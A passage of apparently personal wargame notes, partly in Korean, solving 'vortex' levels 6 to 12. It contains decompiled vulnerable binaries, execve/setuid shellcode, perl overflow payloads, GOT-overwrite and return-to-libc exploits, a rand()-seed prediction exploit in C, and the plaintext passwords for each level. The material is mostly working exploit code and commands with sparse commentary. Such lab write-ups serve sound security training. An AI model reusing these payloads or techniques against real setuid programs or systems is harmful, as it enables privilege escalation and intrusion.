96 MD5STEP(F1, d, a, b, c, in[ 5]+0x4787c62a, 12);
97 MD5STEP(F1, c, d, a, b, in[ 6]+0xa8304613, 17);
98 MD5STEP(F1, b, c, d, a, in[ 7]+0xfd469501, 22);
99 MD5STEP(F1, a, b, c, d, in[ 8]+0x698098d8, 7);
100 MD5STEP(F1, d, a, b, c, in[ 9]+0x8b44f7af, 12);
101 MD5STEP(F1, c, d, a, b, in[10]+0xffff5bb1, 17);
102 MD5STEP(F1, b, c, d, a, in[11]+0x895cd7be, 22);
103 MD5STEP(F1, a, b, c, d, in[12]+0x6b901122, 7);
104 MD5STEP(F1, d, a, b, c, in[13]+0xfd987193, 12);
105 MD5STEP(F1, c, d, a, b, in[14]+0xa679438e, 17);
106 MD5STEP(F1, b, c, d, a, in[15]+0x49b40821, 22);
107
108 MD5STEP(F2, a, b, c, d, in[ 1]+0xf61e2562, 5);
109 MD5STEP(F2, d, a, b, c, in[ 6]+0xc040b340, 9);
110 MD5STEP(F2, c, d, a, b, in[11]+0x265e5a51, 14);
111 MD5STEP(F2, b, c, d, a, in[ 0]+0xe9b6c7aa, 20);
112 MD5STEP(F2, a, b, c, d, in[ 5]+0xd62f105d, 5);
113 MD5STEP(F2, d, a, b, c, in[10]+0x02441453, 9);
114 MD5STEP(F2, c, d, a, b, in[15]+0xd8a1e681, 14);
115 MD5STEP(F2, b, c, d, a, in[ 4]+0xe7d3fbc8, 20);
116 MD5STEP(F2, a, b, c, d, in[ 9]+0x21e1cde6, 5);
117 MD5STEP(F2, d, a, b, c, in[14]+0xc33707d6, 9);
118 MD5STEP(F2, c, d, a, b, in[ 3]+0xf4d50d87, 14);
119 MD5STEP(F2, b, c, d, a, in[ 8]+0x455a14ed, 20);
120 MD5STEP(F2, a, b, c, d, in[13]+0xa9e3e905, 5);
121 MD5STEP(F2, d, a, b, c, in[ 2]+0xfcefa3f8, 9);
122 MD5STEP(F2, c, d, a, b, in[ 7]+0x676f02d9, 14);
123 MD5STEP(F2, b, c, d, a, in[12]+0x8d2a4c8a, 20);
124
125 MD5STEP(F3, a, b, c, d, in[ 5]+0xfffa3942, 4);
126 MD5STEP(F3, d, a, b, c, in[ 8]+0x8771f681, 11);
127 MD5STEP(F3, c, d, a, b, in[11]+0x6d9d6122, 16);
128 MD5STEP(F3, b, c, d, a, in[14]+0xfde5380c, 23);
129 MD5STEP(F3, a, b, c, d, in[ 1]+0xa4beea44, 4);
130 MD5STEP(F3, d, a, b, c, in[ 4]+0x4bdecfa9, 11);
131 MD5STEP(F3, c, d, a, b, in[ 7]+0xf6bb4b60, 16);
132 MD5STEP(F3, b, c, d, a, in[10]+0xbebfbc70, 23);
133 MD5STEP(F3, a, b, c, d, in[13]+0x289b7ec6, 4);
134 MD5STEP(F3, d, a, b, c, in[ 0]+0xeaa127fa, 11);
135 MD5STEP(F3, c, d, a, b, in[ 3]+0xd4ef3085, 16);
136 MD5STEP(F3, b, c, d, a, in[ 6]+0x04881d05, 23);
137 MD5STEP(F3, a, b, c, d, in[ 9]+0xd9d4d039, 4);
138 MD5STEP(F3, d, a, b, c, in[12]+0xe6db99e5, 11);
139 MD5STEP(F3, c, d, a, b, in[15]+0x1fa27cf8, 16);
140 MD5STEP(F3, b, c, d, a, in[ 2]+0xc4ac5665, 23);
141
142 MD5STEP(F4, a, b, c, d, in[ 0]+0xf4292244, 6);
143 MD5STEP(F4, d, a, b, c, in[ 7]+0x432aff97, 10);
144 MD5STEP(F4, c, d, a, b, in[14]+0xab9423a7, 15);
145 MD5STEP(F4, b, c, d, a, in[ 5]+0xfc93a039, 21);
146 MD5STEP(F4, a, b, c, d, in[12]+0x655b59c3, 6);
147 MD5STEP(F4, d, a, b, c, in[ 3]+0x8f0ccc92, 10);
148 MD5STEP(F4, c, d, a, b, in[10]+0xffeff47d, 15);
149 MD5STEP(F4, b, c, d, a, in[ 1]+0x85845dd1, 21);
150 MD5STEP(F4, a, b, c, d, in[ 8]+0x6fa87e4f, 6);
151 MD5STEP(F4, d, a, b, c, in[15]+0xfe2ce6e0, 10);
152 MD5STEP(F4, c, d, a, b, in[ 6]+0xa3014314, 15);
153 MD5STEP(F4, b, c, d, a, in[13]+0x4e0811a1, 21);
154 MD5STEP(F4, a, b, c, d, in[ 4]+0xf7537e82, 6);
155 MD5STEP(F4, d, a, b, c, in[11]+0xbd3af235, 10);
156 MD5STEP(F4, c, d, a, b, in[ 2]+0x2ad7d2bb, 15);
157 MD5STEP(F4, b, c, d, a, in[ 9]+0xeb86d391, 21);
158
159 buf[0] += a;
160 buf[1] += b;
161 buf[2] += c;
162 buf[3] += d;
163 }
164
165 /*
166 * Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
167 * initialization constants.
168 */
169 static void MD5Init(MD5Context *pCtx){
170 struct Context *ctx = (struct Context *)pCtx;
171 ctx->buf[0] = 0x67452301;
172 ctx->buf[1] = 0xefcdab89;
173 ctx->buf[2] = 0x98badcfe;
174 ctx->buf[3] = 0x10325476;
175 ctx->bits[0] = 0;
176 ctx->bits[1] = 0;
177 }
178
179 /*
180 * Update context to reflect the concatenation of another buffer full
181 * of bytes.
182 */
183 static
184 void MD5Update(MD5Context *pCtx, const unsigned char *buf, unsigned int len){
185 struct Context *ctx = (struct Context *)pCtx;
186 uint32 t;
187
188 /* Update bitcount */
189
190 t = ctx->bits[0];
191 if ((ctx->bits[0] = t + ((uint32)len << 3)) < t)
192 ctx->bits[1]++; /* Carry from low to high */
193 ctx->bits[1] += len >> 29;
194
195 t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */
196
197 /* Handle any leading odd-sized chunks */
198
199 if ( t ) {
200 unsigned char *p = (unsigned char *)ctx->in + t;
201
202 t = 64-t;
203 if (len < t) {
204 memcpy(p, buf, len);
205 return;
206 }
207 memcpy(p, buf, t);
208 byteReverse(ctx->in, 16);
209 MD5Transform(ctx->buf, (uint32 *)ctx->in);
210 buf += t;
211 len -= t;
212 }
213
214 /* Process data in 64-byte chunks */
215
216 while (len >= 64) {
217 memcpy(ctx->in, buf, 64);
218 byteReverse(ctx->in, 16);
219 MD5Transform(ctx->buf, (uint32 *)ctx->in);
220 buf += 64;
221 len -= 64;
222 }
223
224 /* Handle any remaining bytes of data. */
225
226 memcpy(ctx->in, buf, len);
227 }
228
229 /*
230 * Final wrapup - pad to 64-byte boundary with the bit pattern
231 * 1 0* (64-bit count of bits processed, MSB-first)
232 */
233 static void MD5Final(unsigned char digest[16], MD5Context *pCtx){
234 struct Context *ctx = (struct Context *)pCtx;
235 unsigned count;
236 unsigned char *p;
237
238 /* Compute number of bytes mod 64 */
239 count = (ctx->bits[0] >> 3) & 0x3F;
240
241 /* Set the first char of padding to 0x80. This is safe since there is
242 always at least one byte free */
243 p = ctx->in + count;
244 *p++ = 0x80;
245
246 /* Bytes of padding needed to make 64 bytes */
247 count = 64 - 1 - count;
248
249 /* Pad out to 56 mod 64 */
250 if (count < 8) {
251 /* Two lots of padding: Pad the first block to 64 bytes */
252 memset(p, 0, count);
253 byteReverse(ctx->in, 16);
254 MD5Transform(ctx->buf, (uint32 *)ctx->in);
255
256 /* Now fill the next block with 56 bytes */
257 memset(ctx->in, 0, 56);
258 } else {
259 /* Pad block to 56 bytes */
260 memset(p, 0, count-8);
261 }
262 byteReverse(ctx->in, 14);
263
264 /* Append length in bits and transform */
265 ((uint32 *)ctx->in)[ 14 ] = ctx->bits[0];
266 ((uint32 *)ctx->in)[ 15 ] = ctx->bits[1];
267
268 MD5Transform(ctx->buf, (uint32 *)ctx->in);
269 byteReverse((unsigned char *)ctx->buf, 4);
270 memcpy(digest, ctx->buf, 16);
271 memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */
272 }
273
274 /*
275 ** Convert a digest into base-16. digest should be declared as
276 ** "unsigned char digest[16]" in the calling function. The MD5
277 ** digest is stored in the first 16 bytes. zBuf should
278 ** be "char zBuf[33]".
279 */
280 static void DigestToBase16(unsigned char *digest, char *zBuf){
281 static char const zEncode[] = "0123456789abcdef";
282 int i, j;
283
284 for(j=i=0; i<16; i++){
285 int a = digest[i];
286 zBuf[j++] = zEncode[(a>>4)&0xf];
287 zBuf[j++] = zEncode[a & 0xf];
288 }
289 zBuf[j] = 0;
290 }
291
292 int main(int argc, char **argv)
293 {
294 unsigned char buf[16];
295 MD5Context a;
296
297 char *x;
298 x = getpass("Password: ");
299 printf("%c:%02x\n", x[strlen(x)-1], x[strlen(x) -1]);
300 MD5Init(&a);
301 MD5Update(&a, x, strlen(x));
302 MD5Final(buf, &a);
303
304 if(memcmp(buf, "\x15\x5f\xb9\x5d\x04\x28\x7b\x75\x7c\x99\x6d\x77\xb5\xea\x51\xf7", 16) == 0){
305 printf("You got the right password, congrats!\n");
306 setresgid(getegid(), getegid(), getegid());
307 setresuid(geteuid(), geteuid(), geteuid());
308 system("/bin/sh");
309 } else {
310 usleep(500);
311 printf("Incorrect password\n");
312 }
313 exit(0);
314 }
online decoder 결과 : rlTf6
[+] Level 6
- id : vortex6
- Password: *uy5qDRb2
void __cdecl main(int a1, const char **a2, int a3)
{
if ( *(_DWORD *)a3 )
restart(*a2);
printf(*(const char **)(a3 + 12));
_exit(29477);
}
int __cdecl restart(const char *a1)
{
return execlp(a1, a1, 0);
}
gcc loader.c -o loader -m32 -fno-stack-protector -Wl,-z,norelro
gcc text.c -o a.out -m32 -fno-stack-protector -Wl,-z,norelro
포멧스트링 문제일까? restart함수를 사용해서 명령어를 실행시키는게 문제일까?
둘다 될거같거같은데...
restart 함수를 사용.
int main(int argc, char *argv[])
{
//char *envc[] = {NULL};
char *envc[2] = {0,0};
//char *envp[5] = {0,0,0, };
char *envp[] = {"cc"};
envc[0]="/tmp/hclee6/sh";
envc[1]="aa";
execve("/vortex/vortex6", envc, envp);
return 0;
}
sh 실행 프로그램
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
void *ptr = mmap(0, sizeof(shellcode),
PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
printf("%p\n", ptr);
printf("%p\n", shellcode);
void (*pointer)(void);
pointer = (void *)ptr;
pointer();
return 0;
}
[+] Level 7
- id : vortex7
- Password: Y52jxHtt/
int main(int argc, char **argv)
{
char buf[58];
u_int32_t hi;
if((hi = crc32(0, argv[1], strlen(argv[1]))) == 0xe1ca95ee) {
strcpy(buf, argv[1]);
} else {
printf("0x%08x\n", hi);
}
}
shellcode : 61byte
80 = 60(58) + 4
/vortex/vortex7 `perl -e '{print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","AA","AAAA","AAAAA","\x2b\x69\x30\x14"}'`
/vortex/vortex7 `perl -e '{print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","AA","AAAA","AAAAAAA\xb1\xd8\xff\xff1EPyDy"}'`
==> Success
/vortex/vortex7 `perl -e '{print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\xb1\xd8\xff\xff0n1r9E"}'`
crc32 = b861bb0d : 3093412621
0xe1ca95ee = 3788150254
m 220 B 203
gcc crc.c -o a.out -m32 -fno-stack-protector -Wl,-z,norelro
ReverseCRC(http://www.vik.cc/daniel/ReverseCRC.zip)에서 INVERSE 기능을 끄고 해야한다;;
[+] Level 8
- id : vortex8
- Password: X70A_gcgl
X70A_gcgl
int __cdecl main(int a1, int a2)
{
__gid_t v3; // esi@1
__gid_t v4; // ebx@1
__gid_t v5; // eax@1
__uid_t v6; // esi@1
__uid_t v7; // ebx@1
__uid_t v8; // eax@1
char v9; // [sp+1Ch] [bp-14h]@1
pthread_create((pthread_t *)&v9, 0, (void *(*)(void *))safecode, 0);
v3 = getgid();
v4 = getgid();
v5 = getgid();
syscall(170, v5, v4, v3); // setresgid
v6 = getuid();
v7 = getuid();
v8 = getuid();
syscall(164, v8, v7, v6); // setresuid
unsafecode(*(_DWORD *)(a2 + 4));
return 0;
}
void __cdecl safecode()
{
int v0; // [sp+1Ch] [bp-Ch]@1
v0 = 0;
while ( 1 )
{
printf((const char *)&unk_8048770, v0);
fflush((FILE *)stdout);
sleep(1u);
}
}
char *__cdecl unsafecode(int a1)
{
char v2; // [sp+10h] [bp-408h]@1
return strcpy(&v2, (const char *)a1);
}
/vortex/vortex8 `perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x60\xd5\xff\xff"}'`
setresgid, setresuid 때문에 shell을 띄우더라도, vortex8의 권한을 가지게 된다.
vortex8@melissa:~$ objdump --dynamic-reloc /vortex/vortex8
/vortex/vortex8: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a040 R_386_COPY stdout
0804a000 R_386_JUMP_SLOT syscall
0804a004 R_386_JUMP_SLOT __gmon_start__
0804a008 R_386_JUMP_SLOT __libc_start_main
0804a00c R_386_JUMP_SLOT fflush
0804a010 R_386_JUMP_SLOT strcpy
0804a014 R_386_JUMP_SLOT printf
0804a018 R_386_JUMP_SLOT getuid
0804a01c R_386_JUMP_SLOT pthread_create
0804a020 R_386_JUMP_SLOT sleep
0804a024 R_386_JUMP_SLOT getgid
sleep의 주소를 바꾸어버리면...될까?;.
/vortex/vortex8 `perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x60\xd5\xff\xff"}'`
==> Success!
/vortex/vortex8 "`perl -e '{print "\x90"x400,"\xbb\x20\xa0\x04\x08\xc7\x03\x50\xd7\xff\xff\xe8\x0f\xff\xff\xff","\x90"x559,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x60\xd5\xff\xff"}'`"
unsafecode에서
#include <stdio.h>
int main()
{
register int *a = 0x0804a020; // sleep dynamic relocation table
*a = 0x12345678;
sleep(2);
return 0;
}
를 disasm하여
80483c4: 55 push %ebp
80483c5: 89 e5 mov %esp,%ebp
80483c7: 83 e4 f0 and $0xfffffff0,%esp
80483ca: 53 push %ebx
80483cb: 83 ec 1c sub $0x1c,%esp
80483ce: bb 20 a0 04 08 mov $0x804a020,%ebx
80483d3: c7 03 78 56 34 12 movl $0x12345678,(%ebx)
80483d9: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80483e0: e8 0f ff ff ff call 80482f4 <sleep@plt>
80483e5: b8 00 00 00 00 mov $0x0,%eax
80483ea: 83 c4 1c add $0x1c,%esp
80483ed: 5b pop %ebx
80483ee: 89 ec mov %ebp,%esp
80483f0: 5d pop %ebp
중.
80483ce: bb 20 a0 04 08 mov $0x804a020,%ebx
80483d3: c7 03 78 56 34 12 movl $0x12345678,(%ebx)
80483d9: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80483e0: e8 0f ff ff ff call 80482f4 <sleep@plt>
이 부분을 1차 쉘코드로 만들어 실행시킨다.
그럼, sleep의 gdt이 변경되고, thread에 의해 생성된 safecode에서 sleep의 주소가 진짜 쉘코드의 주소로 바뀌었으므로,
쉘이 나타난다.
[+] Level 9
- id : vortex9
- Password: ci41)GJhb
vortex9@melissa:/home$ find / -user vortex9 -exec ls {} -l \; 2>/dev/null
crw--w---- 1 vortex9 tty 136, 14 2013-01-02 06:24 /dev/pts/14
-rw-r----- 1 vortex9 vortex9 10 2011-11-22 17:12 /var/mail/vortex9
-r-sr-x--- 1 vortex9 vortex8 7495 2011-11-22 16:08 /vortex/vortex8
-r-------- 1 vortex9 vortex9 10 2011-11-22 17:12 /etc/vortex_pass/vortex9
[+] Level 10
- id : vortex10
- Password: 5WT0}swdc
값을 알아내는 것은 쉬웠는데..pipe하는데서 삽질;
-- reverse code --
int __cdecl main()
{
time_t v1; // eax@1
__uid_t v2; // esi@8
__uid_t v3; // ebx@8
__uid_t v4; // eax@8
int v5; // [sp+68h] [bp-28h]@1
int v6; // [sp+64h] [bp-2Ch]@1
int v7; // [sp+60h] [bp-30h]@1
int v8; // [sp+6Ch] [bp-24h]@1
signed int v9; // [sp+78h] [bp-18h]@1
int v10; // [sp+74h] [bp-1Ch]@1
signed int v11; // [sp+7Ch] [bp-14h]@1
_DWORD v12[20]; // [sp+10h] [bp-80h]@5
int v13; // [sp+70h] [bp-20h]@7
v9 = v5 + v6 + v7 + v8 + times((struct tms *)&v7);
v9 += clock();
v9 += time(0);
v9 = 128
- ((unsigned __int8)((unsigned __int8)((unsigned int)(v9 >> 31) >> 24) + (_BYTE)v9)
- ((unsigned int)(v9 >> 31) >> 24));
v1 = time(0);
v10 = v9 + v1;
srand(v9 + v1);
setvbuf((FILE *)stdout, 0, 2, 0);
v11 = 0;
while ( v11 < v9 )
{
rand();
++v11;
}
putchar('[');
v11 = 0;
while ( v11 <= 19 )
{
v12[v11] = rand();
printf(" %08x,", v12[v11++]);
}
puts("]");
alarm(30u);
read(0, &v13, 4u);
if ( v13 == v10 )
{
v2 = geteuid();
v3 = geteuid();
v4 = geteuid();
setresuid(v4, v3, v2);
execlp("/bin/sh", "sh", "-i", 0);
}
else
{
puts("Nope, try again");
}
return 0;
}
-- expliot code
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
unsigned int r[20] = {0, };
int i = 0;
time_t v1;
int j;
char buf[1024] = {0,};
FILE *fp;
int fd[2];
pipe(fd);
#if 0
int fd1 = open("tmp","rw");
int fd2 = open("tmp2","rw");
#endif
pid_t pid = fork();
if (pid == 0){
//child
dup2(fd[0], 0);
execl("/vortex/vortex10",0);
printf("asdfsadfasdfsad\n");
}
#if 0
dup2(fd[1], 1);
close(fd[0]);
close(fd[1]);
#endif
#if 0
fp = popen("/vortex/vortex10", "w");
if (fp==NULL) {
printf("open error\n");
}
#endif
fread(buf, 202, 1, stdin);
//read(fd[1], buf, 202);
printf("buf : %s\n", buf);
sscanf(buf,"[ %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, ]",
&r[0], &r[1], &r[2], &r[3], &r[4], &r[5], &r[6], &r[7], &r[8], &r[9], &r[10],
&r[11], &r[12], &r[13], &r[14], &r[15], &r[16], &r[17], &r[18], &r[19]);
for (i = 0 ; i < 20; i++) {
printf("R : %x\n", r[i]);
}
v1 = time(0);
for ( i = -128; i < 128 ; i++ ) {
j = 0;
srand(v1+i);
printf("%d i = %d\n", v1+i, i);
while( j < i) {
rand();
j++;
}
j = 0;
for ( j = 0; j < 20; j++) {
if ( rand() == r[j] )
continue;
else break;
}
if (j == 20) {
j = v1+i;
printf("SUCCESS : %08x\n",j);
//fwrite(&j, 4, 1, stdout);
write(fd[1], &j, 4);
//write(fd[1], &i, 4);
printf("SSSS\n");fflush(stdout);
#if 1
while(1){
memset(buf, 0, sizeof(buf));
gets(buf);
buf[strlen(buf)]='\n';
buf[strlen(buf)]='\n';
write(fd[1], buf, strlen(buf)+1);
printf("write : %s\n", buf);
}
#endif
break;
}
}
return 0;
}
[+] Level 11
- id : vortex11
- Password: %8sLEszy9
(gdb) r `perl -e '{print "A"x2048,"B"x4,"\x08\xc0\x04\x08"}'` CCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /vortex/vortex11 `perl -e '{print "A"x2048,"B"x4,"\x08\xc0\x04\x08"}'` CCCC
Breakpoint 1, 0x08049e3e in main ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) bt
#0 0x43434343 in ?? ()
#1 0x08049e4f in main ()
/vortex/vortex11 `perl -e '{print "\x90"x1800,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","A"x187,"B"x4,"\x08\xc0\x04\x08"}'` `perl -e '{print "\x30\xd2\xff\xff"}'`
heap overflow인데..Global Offset Table의 주소를 바꿔서 공격하는 기법이다.
문서(BSD Heap Smashing)보고 대충 해서 하긴 했는데.
정확하게 EIP가 어떻게 바뀌는건지는 잘 모르겠다;;
vortex11@melissa:~$ objdump --dynamic-reloc /vortex/vortex11
/vortex/vortex11: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804bff0 R_386_GLOB_DAT __gmon_start__
0804c000 R_386_JUMP_SLOT abort
0804c004 R_386_JUMP_SLOT __errno_location
0804c008 R_386_JUMP_SLOT brk
0804c00c R_386_JUMP_SLOT mmap
0804c010 R_386_JUMP_SLOT __gmon_start__
0804c014 R_386_JUMP_SLOT getenv
0804c018 R_386_JUMP_SLOT strncpy
0804c01c R_386_JUMP_SLOT write
0804c020 R_386_JUMP_SLOT memset
0804c024 R_386_JUMP_SLOT __libc_start_main
0804c028 R_386_JUMP_SLOT sbrk
0804c02c R_386_JUMP_SLOT memcpy
0804c030 R_386_JUMP_SLOT strlen
0804c034 R_386_JUMP_SLOT strcpy
0804c038 R_386_JUMP_SLOT getuid
0804c03c R_386_JUMP_SLOT __stack_chk_fail
0804c040 R_386_JUMP_SLOT readlink
0804c044 R_386_JUMP_SLOT munmap
0804c048 R_386_JUMP_SLOT exit
0804c04c R_386_JUMP_SLOT getgid
[+] Level 12
- id : vortex12
- Password: nKV95q]dx
힌트가 no executable stack이라는 얘기 뿐이다.
main함수를 disassem 해보니 Level 8와 유사하다.
흠........-_-;
Return-to-libc 기법을 이용하여 exploit해야하는 것 같다.
그런데 이것만으로는 Level8에서 했던 방법으론 힘들것 같다..
0xf7ef95d0 <execl> 의 주소.
/vortex/vortex12 "`perl -e '{print "\x90"x400,"\xbb\x20\xa0\x04\x08\xc7\x03\x50\xd7\xff\xff\xe8\x0f\xff\xff\xff","\x90"x559,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x60\xd5\xff\xff"}'`"
/vortex/vortex12 "`perl -e '{print "A"x1032,"\xc0\xca\xfc\xf7","\x20\x9a\xe8\xf7","\xfc\xd8\xff\xff"}'`"
/vortex/vortex12 "`perl -e '{print "A"x1032,"\x00"}'`"
==> system으로 bash를 띄우는 방법.
/vortex/vortex12 "`perl -e '{print "A"x1036,"\xc0\xca\xfc\xf7","\x20\x9a\xe8\xf7","\x1e\xd9\xff\xff"}'`"
/vortex/vortex12 "`perl -e '{print "A"x1036,"\xd0\x95\xef\xf7","\x20\x9a\xe8\xf7","\x10\xd9\xff\xff"}'`"
/vortex/vortex12 "`perl -e '{print "A"x1036,"\xd0\x95\xef\xf7","\x20\xd9\xff\xff","\x1e\xd9\xff\xff"}'`"
/vortex/vortex12 "`perl -e '{print "A"x1036,"\xd0\x95\xef\xf7","\x20\xd9\xff\xff","\x0d\xd9\xff\xff"x2,"\x1d\xdf\xff\xff"}'`"
/vortex/vortex12 "`perl -e '{print "A"x1036,"\xd0\x95\xef\xf7","\x20\xd9\xff\xff","\x0a\xd9\xff\xff"x2,"\x1d\xdf\xff\xff"}'`"
/vortex/vortex12 "`perl -e '{print "A"x1032,"\x08\xd9\xff\xff","\xd0\x95\xef\xf7","\x0b\xd9\xff\xff","\x10\xd9\xff\xff"x2}'`"
"`perl -e '{print "A"x1032,"\xfb\xd8\xff\xff","\xd0\x95\xef\xf7","\x10\xd9\xff\xff","\x03\xd9\xff\xff"x2}'`"
"`perl -e '{print "A"x1032,"\xfb\xd8\xff\xff","\xda\x95\xef\xf7","\x10\xd9\xff\xff","\x03\xd9\xff\xff"x2}'`"
=> 0xf7ef95d0 <+0>: push %ebp
0xf7ef95d1 <+1>: push %edi
0xf7ef95d2 <+2>: push %esi
0xf7ef95d3 <+3>: push %ebx
0xf7ef95d4 <+4>: sub $0x1018,%esp
0xf7ef95da <+10>: mov 0x1030(%esp),%edx
0xf7ef95e1 <+17>: lea 0x1034(%esp),%eax
0xf7ef95e8 <+24>: call 0xf7e70c6f
0xf7ef95ed <+29>: add $0xc0a07,%ebx
0xf7ef95f3 <+35>: test %edx,%edx
0xf7ef95f5 <+37>: mov %edx,0x18(%esp)
0xf7ef95f9 <+41>: je 0xf7ef9702 <execl+306>
0xf7ef95ff <+47>: lea 0x4(%eax),%ebp
0xf7ef9602 <+50>: mov (%eax),%eax
0xf7ef9604 <+52>: mov $0x1,%esi
0xf7ef9609 <+57>: lea 0x18(%esp),%edx
0xf7ef960d <+61>: mov %edx,%edi
0xf7ef960f <+63>: mov %edx,0x10(%esp)
0xf7ef9613 <+67>: mov $0x400,%edx
0xf7ef9618 <+72>: test %eax,%eax
0xf7ef961a <+74>: mov %eax,(%edi,%esi,4)
0xf7ef961d <+77>: je 0xf7ef9635 <execl+101>
0xf7ef961f <+79>: nop
0xf7ef9620 <+80>: add $0x1,%esi
0xf7ef9623 <+83>: cmp %esi,%edx
0xf7ef9625 <+85>: je 0xf7ef9678 <execl+168>
0xf7ef9627 <+87>: mov %ebp,%eax
0xf7ef9629 <+89>: lea 0x4(%eax),%ebp
0xf7ef962c <+92>: mov (%eax),%eax
0xf7ef962e <+94>: test %eax,%eax
0xf7ef9630 <+96>: mov %eax,(%edi,%esi,4)
0xf7ef9633 <+99>: jne 0xf7ef9620 <execl+80>
0xf7ef9635 <+101>: mov -0x58(%ebx),%eax
0xf7ef963b <+107>: mov 0x102c(%esp),%edx
0xf7ef9642 <+114>: mov (%eax),%eax
0xf7ef9644 <+116>: mov %edi,0x4(%esp)
0xf7ef9648 <+120>: mov %edx,(%esp)
0xf7ef964b <+123>: mov %eax,0x8(%esp)
0xf7ef964f <+127>: call 0xf7ef92d0 <execve>
0xf7ef9654 <+132>: cmp 0x10(%esp),%edi
0xf7ef9658 <+136>: je 0xf7ef966a <execl+154>
0xf7ef965a <+138>: mov %eax,0xc(%esp)
0xf7ef965e <+142>: mov %edi,(%esp)
0xf7ef9661 <+145>: call 0xf7e70be8 <free@plt>
0xf7ef9666 <+150>: mov 0xc(%esp),%eax
0xf7ef966a <+154>: add $0x1018,%esp
0xf7ef9670 <+160>: pop %ebx
0xf7ef9671 <+161>: pop %esi
0xf7ef9672 <+162>: pop %edi
0xf7ef9673 <+163>: pop %ebp
0xf7ef9674 <+164>: ret
0xf7ef9675 <+165>: lea 0x0(%esi),%esi
0xf7ef9678 <+168>: cmp 0x10(%esp),%edi
0xf7ef967c <+172>: lea (%edx,%edx,1),%eax
0xf7ef967f <+175>: mov %eax,0x14(%esp)
0xf7ef9683 <+179>: mov $0x0,%eax
0xf7ef9688 <+184>: lea 0x0(,%edx,8),%ecx
0xf7ef968f <+191>: cmovne %edi,%eax
0xf7ef9692 <+194>: mov %edx,0xc(%esp)
0xf7ef9696 <+198>: mov %ecx,0x4(%esp)
0xf7ef969a <+202>: mov %eax,(%esp)
0xf7ef969d <+205>: call 0xf7e70b98 <realloc@plt>
